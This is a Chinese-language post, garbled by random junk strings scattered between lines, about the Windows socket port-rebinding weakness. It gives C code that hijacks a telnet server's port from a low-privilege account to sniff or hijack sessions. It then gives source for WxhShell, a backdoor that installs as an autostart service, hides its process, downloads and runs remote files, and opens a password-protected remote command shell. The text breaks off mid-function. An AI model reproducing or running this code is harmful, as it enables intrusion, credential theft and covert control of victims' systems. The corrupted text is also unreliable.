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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,8384' s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Sn[xI9}O J|I*n saddr.sin_family = AF_INET; Ovx
* li[[AAWVm saddr.sin_addr.s_addr = htonl(INADDR_ANY); h3
HUdu ^t3>Z|DiB^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); '@Uu/~;h `dm*vd 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &>AwG4HW#j My>q%lF=fw 这意味着什么?意味着可以进行如下的攻击: bpc1>? 8oE`>Y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J!om"h sV#%U%un 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~Z5AIm R| u4hn9**a1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 o%'1=d3R1Q YXp\C"~g 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 vN(~}gOd\ G/JGb2I/7| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 uBts?02 bkdXBCBx? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5ih>x3S1/ +[
?!@) 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ` +YtTK <Z.`X7]Uk #include \~8W0q.4M #include 8(Az/@=n #include ~g!!#ad #include p
l^;'|=M DWORD WINAPI ClientThread(LPVOID lpParam); ,6]ID1o:y int main() YH58p&up { %fF,Fnf2 WORD wVersionRequested; lZAGoR;0Ra DWORD ret; v(;yy{>8" WSADATA wsaData; ]?]M5rP BOOL val; _=0Ja
S>M. SOCKADDR_IN saddr; m%.4OXX"& SOCKADDR_IN scaddr; 80Y%C-Y: int err; qoZi1,i' SOCKET s; 5:r
AWq SOCKET sc; /}1|'?P int caddsize; z9
0JZA HANDLE mt; P
DY :?/ DWORD tid; At@0G\^ wVersionRequested = MAKEWORD( 2, 2 ); rd&d~R6 err = WSAStartup( wVersionRequested, &wsaData ); _Yo)m|RaB if ( err != 0 ) { s=)W printf("error!WSAStartup failed!\n"); qcO~}MJr}^ return -1; 1)c{;x&W } 9gA@D%0 saddr.sin_family = AF_INET; WT\wV\Pu mW]dhY 3X //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9iT9ZfaW A o*IshVh saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /{l_tiE7 saddr.sin_port = htons(23); ;R6f9tu2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m|fcWN[ { AO`@&e]o printf("error!socket failed!\n"); XcNL\fl1 return -1; /$%&fo\[ } hYyIC:PXR val = TRUE; K3vZ42n //SO_REUSEADDR选项就是可以实现端口重绑定的 [GbrKq( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dm/3{\ 4 { z(c8] Wu# printf("error!setsockopt failed!\n"); 9wCgJ$te return -1; (P?|Bk[ } #CLjQJ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :g$"Xc8Zn //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wxBHlgK4z //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s:'>G;p >&HW6 c if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8L:AmpQdpA { mKtMI!FR ret=GetLastError(); U;3t{~Ym printf("error!bind failed!\n"); h];H]15& return -1; 9Pg6,[*u } 1VYH:uGuAU listen(s,2); _t,aPowX while(1) 5 `TMqrk { ,>#\aO1n caddsize = sizeof(scaddr); rbOJ;CK //接受连接请求 j8M t"B sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `~\SQ EY$ if(sc!=INVALID_SOCKET) ,(oolx"Xa { QN;5+p[N mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Uy=yA if(mt==NULL) >7@,,~3 { #SHJ0+)o printf("Thread Creat Failed!\n"); /*gs] break; {QG6ldI } N1Xg-u?ul# } i9 CQ~ CloseHandle(mt); zdem}kBIe } @G]*]rkKb closesocket(s); 2Rys:$ WSACleanup(); enxb
pq# return 0; D|U bh ] } Vc(kw7
DWORD WINAPI ClientThread(LPVOID lpParam) _fgsHx>l7 { (soTkH:# SOCKET ss = (SOCKET)lpParam; q8ZxeMqx% SOCKET sc; _=x*yDPG} unsigned char buf[4096]; ]Ls T SOCKADDR_IN saddr; :)Es]wA#HZ long num; WyV,(~y DWORD val; z z]~IxQ DWORD ret; A]Hz?i //如果是隐藏端口应用的话,可以在此处加一些判断 y)LX?d //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 _GY2|x2c saddr.sin_family = AF_INET; 3R$R?^G saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Hwd^C2v saddr.sin_port = htons(23); VO1 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }x$@j { dR i6 printf("error!socket failed!\n"); xxzUey return -1; f
} r
\ } 2ia&c@P- val = 100; Q2oo\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8MW-JZ { g#fn( A ret = GetLastError(); 4T52vM return -1; )M.g<[=^ } q%bFR[p<* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (Of`VT3ZOA { $#%R_G] ret = GetLastError(); p4O[X\T return -1; nQ'NS } sBWyUD if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HQF@@ { oFyB-vpYQV printf("error!socket connect failed!\n"); "Cvr("'O closesocket(sc); ;L",K?6# closesocket(ss); |j/Y#.k;{0 return -1; #N`MzmwS } zGme}z;1@ while(1) KN@ [hb7% { s hq
+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^^k9Acd~p //如果是嗅探内容的话,可以再此处进行内容分析和记录 F@z%y'5 Z* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [ZG>FJDl8 num = recv(ss,buf,4096,0); 3bd`q
$ if(num>0) w&}<b%l send(sc,buf,num,0); vx6lud0k} else if(num==0) nIlx?(=pu break; eo;MFd%; num = recv(sc,buf,4096,0); AD!w:jT9 if(num>0) f"\klfrRI_ send(ss,buf,num,0); #v$wjqK5 else if(num==0) Q6 o1^s break; (!m6>m2 } < j closesocket(ss); g<DXJ7o closesocket(sc); _H}hK kG+ return 0 ; Qa9@Q$ } hb0)<^xu O.Te"=^"F 19% "F!^i ========================================================== r4K_Wp V"gKk$j7 下边附上一个代码,,WXhSHELL E>#@
H ?|oN}y"i ========================================================== 1QhQ#`$<1 ]p4?nT@] #include "stdafx.h" S+Ia2O)BA ^v5]Aq~X #include <stdio.h> ON{a'H #include <string.h> q b=%W #include <windows.h> ?&qQOM~b-\ #include <winsock2.h> 9%R"(X) #include <winsvc.h> nT~XctwF #include <urlmon.h> MdEds|D K}n.k[Do #pragma comment (lib, "Ws2_32.lib") ~[aV\r? #pragma comment (lib, "urlmon.lib") J pj[.Sq B`nI]_ #define MAX_USER 100 // 最大客户端连接数 qxyY2& #define BUF_SOCK 200 // sock buffer 3z#>1HD$ #define KEY_BUFF 255 // 输入 buffer e&A3=a~\s -=lL{oB1 #define REBOOT 0 // 重启 7On.y* #define SHUTDOWN 1 // 关机 lHliMBSc Bn.R,B0PL #define DEF_PORT 5000 // 监听端口 E@Ewx;P5 !z:j-gT3 #define REG_LEN 16 // 注册表键长度 0%|)=T3Slu #define SVC_LEN 80 // NT服务名长度 _h,X3P 4y4r;[@U // 从dll定义API <%|u1cn~!v typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Mc8_D,7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,9F3~Ryt( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^G5 fs'd typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qUg/mdv& EKw)\T1 // wxhshell配置信息 aWvC-vZk struct WSCFG { zLxuxf~4@ int ws_port; // 监听端口 [P6A$HC< char ws_passstr[REG_LEN]; // 口令 BTOl`U int ws_autoins; // 安装标记, 1=yes 0=no lR
F5/ char ws_regname[REG_LEN]; // 注册表键名 +wHa)A0MW char ws_svcname[REG_LEN]; // 服务名 bF;|0X$
x char ws_svcdisp[SVC_LEN]; // 服务显示名 4v(?]]X char ws_svcdesc[SVC_LEN]; // 服务描述信息 a~!7A
ZT-O char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Mu.oqT int ws_downexe; // 下载执行标记, 1=yes 0=no 9)[)07 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" .W9
*- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P uQ U5F1m]gFr }; 9N2.:<so N!tNRMTi // default Wxhshell configuration Aj O{c=d struct WSCFG wscfg={DEF_PORT, 64y9.PY "xuhuanlingzhe", gC%$)4-: 1, cdI"=B+C\ "Wxhshell", c>r~pY~$ "Wxhshell", b;vVlIG "WxhShell Service", 2>J;P C[; "Wrsky Windows CmdShell Service", XfEp_.~JM "Please Input Your Password: ", y+7+({w< 1, R+U*]5~R " http://www.wrsky.com/wxhshell.exe", U(~Nmo' "Wxhshell.exe" *y+K{ fM1 }; ignOF ^4[QX
-_2 // 消息定义模块 ~dgFr6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5YUe>P D char *msg_ws_prompt="\n\r? for help\n\r#>"; +,i_G?eX char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; QD-Bt=S7l char *msg_ws_ext="\n\rExit."; {q&`B char *msg_ws_end="\n\rQuit."; 6aAN8wO;b char *msg_ws_boot="\n\rReboot..."; $fPiR char *msg_ws_poff="\n\rShutdown..."; 3EA_-? char *msg_ws_down="\n\rSave to "; OzxiT + Un+- T char *msg_ws_err="\n\rErr!"; w8KxEV= char *msg_ws_ok="\n\rOK!"; QY\'Uu{ `$JOFLa char ExeFile[MAX_PATH]; D-m%eP. int nUser = 0; ePSD#kY5 HANDLE handles[MAX_USER]; UpiZd/K int OsIsNt; :4\_upRE h7xgLe@ SERVICE_STATUS serviceStatus; h-m0Ro?6 SERVICE_STATUS_HANDLE hServiceStatusHandle; h,/3} a94nB // 函数声明 ep
l1xfr int Install(void); O
"Aeg| int Uninstall(void); -O@/S9]S) int DownloadFile(char *sURL, SOCKET wsh); 6hFs{P7 int Boot(int flag); Idj Z2)$
void HideProc(void); OaByfo<S int GetOsVer(void); f8f|'v| int Wxhshell(SOCKET wsl); O`~L*h_ void TalkWithClient(void *cs); S!iDPl~ int CmdShell(SOCKET sock); #
?u
bvSdU int StartFromService(void); ?]}=4 int StartWxhshell(LPSTR lpCmdLine); o
7V&HJ[ 5["n] i VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ((BdT:T\_ VOID WINAPI NTServiceHandler( DWORD fdwControl ); pC&i!la{o} 09iD| $~ // 数据结构和表定义 [eDRghK SERVICE_TABLE_ENTRY DispatchTable[] = g)<[-Q1 { / pGx! {wscfg.ws_svcname, NTServiceMain}, i-sm 9K'ns {NULL, NULL} k6;pi=sYNW }; $7Tj<;TV
@3I?T
Q1 // 自我安装 4LJOT_ int Install(void) 3 "|A5>Vo { +:J:S"G char svExeFile[MAX_PATH]; S!
.N3ezn HKEY key; On@p5YRwW strcpy(svExeFile,ExeFile); {#+'T 13sx ,(+ZD@Rg // 如果是win9x系统,修改注册表设为自启动 s21)*d if(!OsIsNt) { 2%pe.stQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `ih#>i_& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '?E@H."" RegCloseKey(key); *m6*sIR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n8&x=Z}Xs RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ }G#ys\1 RegCloseKey(key); 6x@]b>W return 0; c[?&;# feV } 1fh6A`c } u/`x@u } Ap}`Q(. else { _`9WNJiL uVw|jj // 如果是NT以上系统,安装为系统服务 =mxj2>,& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "W"r0"4 if (schSCManager!=0) *MN("<A_ { t\ 9Y)d SC_HANDLE schService = CreateService }sfvzw_ ( M
!rw!,g schSCManager, gf,[GbZ wscfg.ws_svcname, ZZ].h2=K wscfg.ws_svcdisp, d5=yAn-+= SERVICE_ALL_ACCESS, 6 c-9[-Px SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *x. gPG SERVICE_AUTO_START, v;"
pc)i SERVICE_ERROR_NORMAL, D._7)$d svExeFile, fydQaxCND NULL, S|BS;VY NULL, ,\PTn7_ NULL, K$
|!IXs NULL, 4 ..V NULL 9kas]zQ%=P ); u%CJjy if (schService!=0) PO0/C q) { d 4; CloseServiceHandle(schService); 42
rIIJ1A CloseServiceHandle(schSCManager); S^@#%> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [\"<=lb` strcat(svExeFile,wscfg.ws_svcname); gL wNHS if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .wuRT>4G)G RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7"k\i= RegCloseKey(key); I#CS;Yh95 return 0; N*Xl0m(Q } A)f/ww)Q } 1h?:gOig CloseServiceHandle(schSCManager); A)TO<dl } }ev+WIERQV } (/J %Huy zS}!87r) return 1; @<p9O0 } 3T@`VFbE <kWNx.eci // 自我卸载 R!_1 *H$ int Uninstall(void) 1++ Fs { au7@- _ HKEY key; z-h7v5i" z&A#d if(!OsIsNt) { KRj3??b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tqOx8% RegDeleteValue(key,wscfg.ws_regname); 4_vJ_H-mO, RegCloseKey(key); ]iiB|xT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wafws*b% RegDeleteValue(key,wscfg.ws_regname); `>{S?t< RegCloseKey(key); yTU'voE.| return 0; SQf.R%cg$ } a~`,zQ -@ } %A;s3]V } ?B:],aztf else { 4yR X{Bl| 8)&J oPN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !Y]%U @4} if (schSCManager!=0) ._}Dqg$ { v7D3aWoe SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KKJ a?e`C if (schService!=0) ~ouRDO { lK y4Nry9 if(DeleteService(schService)!=0) { 1?#Wg>7' CloseServiceHandle(schService); X\]Dx./ CloseServiceHandle(schSCManager); qk\LfRbj return 0; ig:z[k? } \&%y4=y<sE CloseServiceHandle(schService); 7o`pNcabtz } PAy7b7m~B CloseServiceHandle(schSCManager); .h;X5q1 } <p8>"~R } 4 !M6RL8{ F}_Zh9/$( return 1; 8HH\wu$$e } _jrkR
n1 " 4fdO Ow // 从指定url下载文件 x9H
qc9q int DownloadFile(char *sURL, SOCKET wsh) Gjf1Ba { %{";RfSVX% HRESULT hr; Y t0s char seps[]= "/"; ;i;;{j@$i char *token; *uZ'MS char *file; lyrwm{& char myURL[MAX_PATH]; o|c"W}W char myFILE[MAX_PATH]; cjBHczkY F5f1j]c strcpy(myURL,sURL); AV["%$: token=strtok(myURL,seps); <=!|U0YV
while(token!=NULL) #Xd#Ncj { =`BPGfCb file=token; Ix|^c268o< token=strtok(NULL,seps); -*&C "%e } N!=Q]\ZD 5[>N[}Ck> GetCurrentDirectory(MAX_PATH,myFILE); dZjh@yGP. strcat(myFILE, "\\"); ,zrShliU strcat(myFILE, file); %Z6\W;
(n send(wsh,myFILE,strlen(myFILE),0); Zl`sY5{1 send(wsh,"...",3,0); N`i`[ f hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %c,CfhEV%& if(hr==S_OK) u:O6MO9^ return 0; jj"?#`cW else U-:_4[ return 1; s2\6\8Ipn H3"D$Nv } s$;IR
c5!6 6dX l ny1H // 系统电源模块 h2Jdcr#@FF int Boot(int flag) DYvg ^b { I~I$/j]e` HANDLE hToken; ]%/a'[ TOKEN_PRIVILEGES tkp; ]$96#}7N nXF|AeAco if(OsIsNt) { z6Jfu:_N! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )v?-[
oR LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TANt*r7 tkp.PrivilegeCount = 1; AehkEN&H/t tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @](\cT64i3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r<L>~S>yb if(flag==REBOOT) { 4 '-GcH if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VNLggeX'U return 0; n`)wD~mk } Zr@G else { W&(98}oT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rSfvHO:R
return 0; O1K~]Nt } #>byP?)n } $C !Mk else { 4FgY!k if(flag==REBOOT) { P(BV J_n if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z<0+<tt return 0; M.R]hI } N%&D(_ else { )CC rO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HR83{B21 return 0; ePJtdKN: } %? WmWs0 } -'!%\E;5 xiPP&$mg return 1; g"Z X1X } +~A<&7[} #%i-{t+_> // win9x进程隐藏模块 b,#E.%SLw void HideProc(void) pJ 1Q~tI { 8QGj:3 |.Pl[y HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'qg q8 if ( hKernel != NULL ) mjqVP. { /RmHG
H! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _}B:SM ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _('KNA~ FreeLibrary(hKernel); kDG'5X;+ } jHx<}< grhwPnKl return; 21BlLz }
88ydAx#P ^L<*ggw // 获取操作系统版本 Ilc FW int GetOsVer(void) rn?:utP {
}[<eg>9# OSVERSIONINFO winfo; :K6(`J3Y"^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o=
%Fh GetVersionEx(&winfo); uvrfR?%QK if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1=t\|Th- return 1; zoV-@<Eh else L.xzI-I@D return 0; SAEr $F^ } ,{{uRs/ F W # S.< // 客户端句柄模块 :oH" int Wxhshell(SOCKET wsl) GBZx@B[TY { =R^V[zTn_ SOCKET wsh; ?_F,HhQ struct sockaddr_in client; Cu\A[6g, DWORD myID; o?J>mpC ZC1U while(nUser<MAX_USER) iM Xl}3 { nV0"q|0K; int nSize=sizeof(client); {Z_Pry$6 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @:. 6'ji,` if(wsh==INVALID_SOCKET) return 1; gi7As$+E n8M/Y}mH handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M,Px.@tw. if(handles[nUser]==0) *s6MF{Ds closesocket(wsh); pAV}hB else T@]vjXd![ nUser++; (r^IW{IndX } /y,~? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g'`J'6Pn wo[W1?|s return 0; D(&${Mnac } %&"_=Lc 1!/
U#d" // 关闭 socket AX%9k void CloseIt(SOCKET wsh) V\kf6E { qb
^4G closesocket(wsh); v5t`?+e nUser--; y )v'0q ExitThread(0); Kk~0jP_ B9 } U"xI1fg%b Z8=4cWI~; // 客户端请求句柄 6!i0ioZzi0 void TalkWithClient(void *cs) nYuZg6K { u+zq:2)H6 HPT9B?^ SOCKET wsh=(SOCKET)cs; }b
YiyG\ char pwd[SVC_LEN]; zk4yh%Cd_ char cmd[KEY_BUFF]; HFx8v!^5N char chr[1]; }@OykN int i,j; H+; _fd sf?D4UdIH while (nUser < MAX_USER) { ;1cX|N= /s=TLPm if(wscfg.ws_passstr) { 1C=}4^Pu if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L`+\M+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XTyn[n //ZeroMemory(pwd,KEY_BUFF); ;sa-Bh=j^ i=0; 1H@GwQ|<= while(i<SVC_LEN) { "0g1'az} &K`[SX= // 设置超时 $xS `i-| fd_set FdRead; Vd|5JA}<" struct timeval TimeOut; X63DBF4A FD_ZERO(&FdRead); >U9!KB FD_SET(wsh,&FdRead); LIVVb"V|, TimeOut.tv_sec=8; P!m~tu}B TimeOut.tv_usec=0; @-;-DB]j int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xig+[2zS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7BF't!-2F ^$_a_ft# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9\Mesf1$o pwd =chr[0]; FQ?H%UcW if(chr[0]==0xd || chr[0]==0xa) { xN}P0 pwd=0; 0pu])[P]_[ break; E+"INX7 } @}x)>tqD i++; _q=$L
eO5 } 7s5?^^ ;oULtQ // 如果是非法用户,关闭 socket ix]3t^ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @^;WC+\0 } %I%F
!M ZH`6>: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TRAs5I% send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H U$:x"AW t_,iV9NrZ while(1) { ^C):yxNP q`}Q[Li ZeroMemory(cmd,KEY_BUFF); f<WnPoV OV>T}Fq // 自动支持客户端 telnet标准 VPn#O j=0; K~@-*8% while(j<KEY_BUFF) { X&M4c5Li if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =YZp,{T cmd[j]=chr[0]; Sd^e!?bp if(chr[0]==0xa || chr[0]==0xd) { +B_q? 6pR cmd[j]=0; Roy`HU
;0a break; "a`0s_F,^ } JO7IzD\ j++; BaiC;&(
} YT,1E>rd >H5BY9]I // 下载文件 v>)[NAY9 if(strstr(cmd,"http://")) { +tkd($// send(wsh,msg_ws_down,strlen(msg_ws_down),0); m3 (fr if(DownloadFile(cmd,wsh)) .K}u`v T send(wsh,msg_ws_err,strlen(msg_ws_err),0); R.|fc5_"+ else $|6Le;
K send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cdP+X'Y4D } ))G%C6- else { u;&`_=p
4m#i4 switch(cmd[0]) { <5[wP)K@ =[t( [DG // 帮助 )Ah case '?': { :'I mz send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lEZ[0oa break; RURO0`^ } P!B\:B%4~] // 安装 zi[bpa17W case 'i': { ^67P(h if(Install()) $NG}YOP)@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); `z5j else BIbcm,YQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uTP=kgYqJ break; j=dHgnVvj } PM=I // 卸载 SP
HeI@i case 'r': { ~LO MwMHl if(Uninstall()) }
%S1OQC send(wsh,msg_ws_err,strlen(msg_ws_err),0); A[ /0on5r else '4dnC2a] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $hndb+6q break; HQ@X"y
n } gl.P#7X // 显示 wxhshell 所在路径 2d<ma*2n( case 'p': { _*bXVJ
] char svExeFile[MAX_PATH]; 0>Ki([3 strcpy(svExeFile,"\n\r"); ;N ]ElwP strcat(svExeFile,ExeFile); 'D\(p,(Mt send(wsh,svExeFile,strlen(svExeFile),0); -Q 6W`*8 break; L V33vy } W|D'S}J // 重启 c4L5"_#`x- case 'b': { X"iy.@7 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &}:Hp9n if(Boot(REBOOT)) B{s[SZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); #1u4Hi(x5 else { i0p"q p closesocket(wsh); MV9{>xX ExitThread(0); Jev@IORN\ } ?h
K+h .{ break; \^N9Q9{7] }
6=A++H@ // 关机 rx_'( case 'd': { @WBy:gV" send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UTin0k if(Boot(SHUTDOWN)) kX[I|Z= send(wsh,msg_ws_err,strlen(msg_ws_err),0); /kx:BoV else { i7e{REBXb closesocket(wsh); <T ExitThread(0); GsqrKrbJ } ttZ!P:H2 break; W.zA1S } 4X#>; // 获取shell Pm+H!x, case 's': { )]>=Uo CmdShell(wsh); ]Z<{
~ closesocket(wsh); s'~_pP ExitThread(0); 2c8,H29 break; z%+?\.oH } lOd[8|/ // 退出 {l *ps-fi case 'x': { 1v`<Vb%"}T send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _k5KJKvr CloseIt(wsh); vuDp_p*]S break; JguE#ob2 } IO^O9IEx, // 离开 M9bb,`X>Q case 'q': { l4R:_Z< send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6],5X^*Y closesocket(wsh); NYR^y\u WSACleanup(); #ye++.7WK exit(1); uO7Ti]H break; \vFkhm } UvQxtT] } 7OC,KgJ3 } q G=`'%,m CzNSJVE5 // 提示信息 PcUi+[s;x if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fo?2nQ< } [uAfE3 } a}jaxGy tJHzhH) return; L8 R|\Bx } $D9JsUij F P
mLost // shell模块句柄 3@ay9!Xq int CmdShell(SOCKET sock) YroKC+4"i { "5Kx]y8 STARTUPINFO si; z%*ZmF ^K ZeroMemory(&si,sizeof(si)); bmt2~! si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c?<FMb3] si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rf)\:75 PROCESS_INFORMATION ProcessInfo; ^>9M2O['!s char cmdline[]="cmd"; r<&d1fM;X CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dBobVT' return 0; ;zSh9H } O;qS3 H1hj` '\"< // 自身启动模式 ym(r;mj! int StartFromService(void) U]e;=T:3 { l6l)M typedef struct *<Qn)Az { 3b#KrN' DWORD ExitStatus; 8uT@$./
DWORD PebBaseAddress; bE]2:~ DWORD AffinityMask; M5Pvc DWORD BasePriority; X*%KR4` ULONG UniqueProcessId; lQ!6n ULONG InheritedFromUniqueProcessId; !u\ X,.h } PROCESS_BASIC_INFORMATION; n~K_| s=U_tfpH PROCNTQSIP NtQueryInformationProcess; ZL1[Khr,s lXv{+ic static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "V?U^L>SF static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \i`/k( E8FS jLZ HANDLE hProcess; (F$q|qZ% PROCESS_BASIC_INFORMATION pbi; gfih;i.pY s\>$ K%!H? HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]<z>YyBA if(NULL == hInst ) return 0; "hs`Y4U
